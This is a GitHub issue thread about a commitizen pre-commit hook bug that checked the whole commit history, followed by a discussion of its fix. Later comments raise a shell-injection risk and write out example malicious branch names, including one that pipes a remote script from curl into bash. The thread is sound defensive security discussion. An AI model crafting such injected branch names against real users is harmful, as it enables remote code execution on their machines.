Skip to content

Commitizen now attempts to enforce its rules the entire history of the project #1818

Closed

Description

@KyleMylonakisProtopia

Description

It looks like PR #1815 introduced a bug where commitizen now attempts to enforce its rules the entire history of the project instead of just between the source and target commits.

This means repositories which have started using commitizen half-way though, or ones in which a faulty commit was added but was ignored due to wanting to avoid rewriting large amounts of history now have commitizen trigger failures when in the past they did not.

After this change, invalid commit messages on main which previously were fine with commitizen are now tripping this check. Are the environment variable you added in the correct order, and is there supposed to be .. between them?

Steps to reproduce

Ok, I made a minumum reproducing repository: https://github.com/KyleMylonakisProtopia/commitizen-pr-1815-bug
Please fork this repository and you can reproduce the issue with the following commands:

 git clone git@github.com:KyleMylonakisProtopia/commitizen-pr-1815-bug.git
 cd commitizen-pr-1815-bug
 uv venv .venv
 source .venv/bin/activate
 uv pip install -e .
 pre-commit install
 git checkout -b new_branch
 touch new_file
 git add new_file
 git commit -m "feat: add new file"
 git push

For me this fails with the error:

(.venv) ➜  commitizen-pr-1815-bug git:(new_branch)     git push --set-upstream origin new_branch
commitizen check branch..................................................Failed
- hook id: commitizen-branch
- exit code: 14

commit validation: failed!
please enter a commit message in the commitizen format.
commit "2bbee8154e795c7d9f77fd9e190d6d7bf5b9f325": "improperly formatted commit that introduced
"pattern: (?s)(build|bump|chore|ci|docs|feat|fix|perf|refactor|revert|style|test)(\(\S+\))?!?: ([^\n\r]+)((\n\n.*)|(\s*))?$
commit "3d9318b341828644f23ff772a6f276be47bf825e": "first commit
"pattern: (?s)(build|bump|chore|ci|docs|feat|fix|perf|refactor|revert|style|test)(\(\S+\))?!?: ([^\n\r]+)((\n\n.*)|(\s*))?$


error: failed to push some refs to 'github.com:KyleMylonakisProtopia/commitizen-pr-1815-bug.git'

Current behavior

The entire history of the repo is being analyzed by commitizen.

Desired behavior

The behavior should be as it was in the past where commits outside of those between source and target are ignored.

Screenshots

No response

Environment

The commitizen is coming in from the pre-commit hook. Pre-commit has specified the commitizen version as 4.12.1. This affects at least Mac and Linux systems.

Activity

  1. changed the title [-]Good bug title tells us about precise symptom, not about the root cause.[/-] [+]Commitizen now attempts to enforce its rules the entire history of the project[/+] on Jan 26, 2026
  2. bearomorphism commented on Jan 27, 2026

    @bearomorphism
    Collaborator

    Thanks!

  3. pgrenaud commented on Jan 30, 2026

    @pgrenaud

    I spent way too much time to admit trying to fix this. I thought the the issue was the missing .. in the "$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF". Meaning the fix would be "$PRE_COMMIT_TO_REF..$PRE_COMMIT_FROM_REF".

    But that's not even it. If I understand correctly how pre-commit/prek work (I checked both), they run the corresponding hook commands using their respective standard library, and that is, without creating a shell.

    Therefore, the environment variable $PRE_COMMIT_TO_REF and $PRE_COMMIT_FROM_REF would never be interpolated and will just be interpreted as a string.

    So, unless I'm very wrong and I need sleep, but if I'm right, I do not know how to address this issue.

  4. bearomorphism commented on Jan 31, 2026

    @bearomorphism
    Collaborator

    @HankyStyle you wanna take this one?

  5. HankyStyle commented on Jan 31, 2026

    @HankyStyle
    Contributor

    Yes, I think it can be solved by modified .pre-commit-hooks.yaml.

  6. Lee-W commented on Jan 31, 2026

    @Lee-W
    Member

    nice, I think this is a more urgent one.

  7. Lee-W commented on Jan 31, 2026

    @Lee-W
    Member

    @HankyStyle I'll assign this one to you. Let me know if you encounter any issue. I think we should even revert the original PR first and let @HankyStyle tackle with the right solution @bearomorphism WDYT?

  8. added theissue type on Jan 31, 2026
  9. bearomorphism commented on Feb 1, 2026

    @bearomorphism
    Collaborator

    @HankyStyle I'll assign this one to you. Let me know if you encounter any issue. I think we should even revert the original PR first and let @HankyStyle tackle with the right solution @bearomorphism WDYT?

    yeah, let's revert the original PR in the next release if it introduces a bug

  10. pgrenaud commented on Feb 2, 2026

    @pgrenaud

    Thank you all for handling this!

    Once the original PR get reverted and want to tackle this issue, I think I thought of a simple and probably good solution. Since the environment variables $PRE_COMMIT_TO_REF and $PRE_COMMIT_FROM_REF exists and are set when running as a pre-commit/prek hooks, why not modify cz check to read and set the rev-range from those variables if and when they exist?

  11. HankyStyle commented on Feb 2, 2026

    @HankyStyle
    Contributor

    hi @pgrenaud
    You're absolutely right about the ..being missing, but the order I think should be FROM..TO.

    I've created a PR with the fix: #1841

    You can try the Steps to Verify This Fix section in the PR to reproduce the difference between FROM..TO and TO..FROM.

    Image

    During a pre-push hook, pre-commit sets:

    PRE_COMMIT_FROM_REF = remote ref (where you're pushing to, e.g., main)
    PRE_COMMIT_TO_REF = local ref (what you're pushing, e.g., feature-branch)
    

    Git range syntax FROM..TO means: "commits in TO but not in FROM"

    So $PRE_COMMIT_FROM_REF..$PRE_COMMIT_TO_REF translates to:

    "Check commits in my feature branch that aren't in main"

    Let me know if I understand wrong.

  12. pgrenaud commented on Feb 2, 2026

    @pgrenaud

    @HankyStyle Ok, yes, this fix does seems to work. Let me explain why I was very very confused.

    When I tried last Friday to run arbitrary commands with pre-commit/prek (using repo: local + language: system hooks), both ran command without creating a shell. Meaning the variable would not get interpolated and I would get "$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF" as-is in a string.

    But now that this fix seems to work, I dug a little deeper. Turns out that while pre-commit/prek don't create a shell, the git log command1 that is ran by the cz check command2 does create a shell3 and the variables get interpolated there.

    So I was both right and wrong when I said that the variables were not getting interpolated. The fix should work.

    Footnotes

    1. https://github.com/commitizen-tools/commitizen/blob/master/commitizen/git.py#L329 ↩

    2. https://github.com/commitizen-tools/commitizen/blob/master/commitizen/commands/check.py#L130 ↩

    3. https://github.com/commitizen-tools/commitizen/blob/master/commitizen/cmd.py#L43 ↩

  13. pgrenaud commented on Feb 2, 2026

    @pgrenaud

    That being said, that now makes me raise some concerns with the risk of running arbitrary commands.

    If arbitrary branch name can be passed to any of the git commands that Commitizen runs, someone could craft payload within a malicious branch name, and that payload could get executed on anyone's computer that has Commitizen hooks installed. It happened in the past.

    Now, I know very little of Commitizen to know if there is a risk of this actually happening somewhere in the code with the current existing hooks, but since I'm not seeing any input validation or sanitization at a glance, I'm a little worried about it.

  14. HankyStyle commented on Feb 3, 2026

    @HankyStyle
    Contributor

    Hi @pgrenaud,

    Thanks for raising this concern. I didn't consider this security aspect during the fix.

    I've tested locally and confirmed that Git does allow command substitution with certain branch names (e.g., feature$(whoami) or feature|ls), though it currently prevents the dangerous attacks (e.g., ;, & are rejected).

    However, something like feature$(curl https://www.example.com/attack.sh|bash) might work.

    I'm not sure how severe this risk is or whether it's actually possible to exploit in practice, and what approach we could take to prevent it if this is a potential risk:

    1. Add input validation for git refs
    2. Change cmd.run() from shell=True to shell=False in cmd.py to prevent shell interpretation of special characters
    3. Both of the above

    I think we need guidance from the maintainers on this topic.

    cc: @noirbizarre @woile

  15. pgrenaud commented on Feb 3, 2026

    @pgrenaud
    1. Change cmd.run() from shell=True to shell=False in cmd.py to prevent shell interpretation of special characters

    Just a quick comment to mention that while this would be best, it would break the very thing this issue (and #1841 PR) is trying to fix, since it rely on shell=True for it to work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions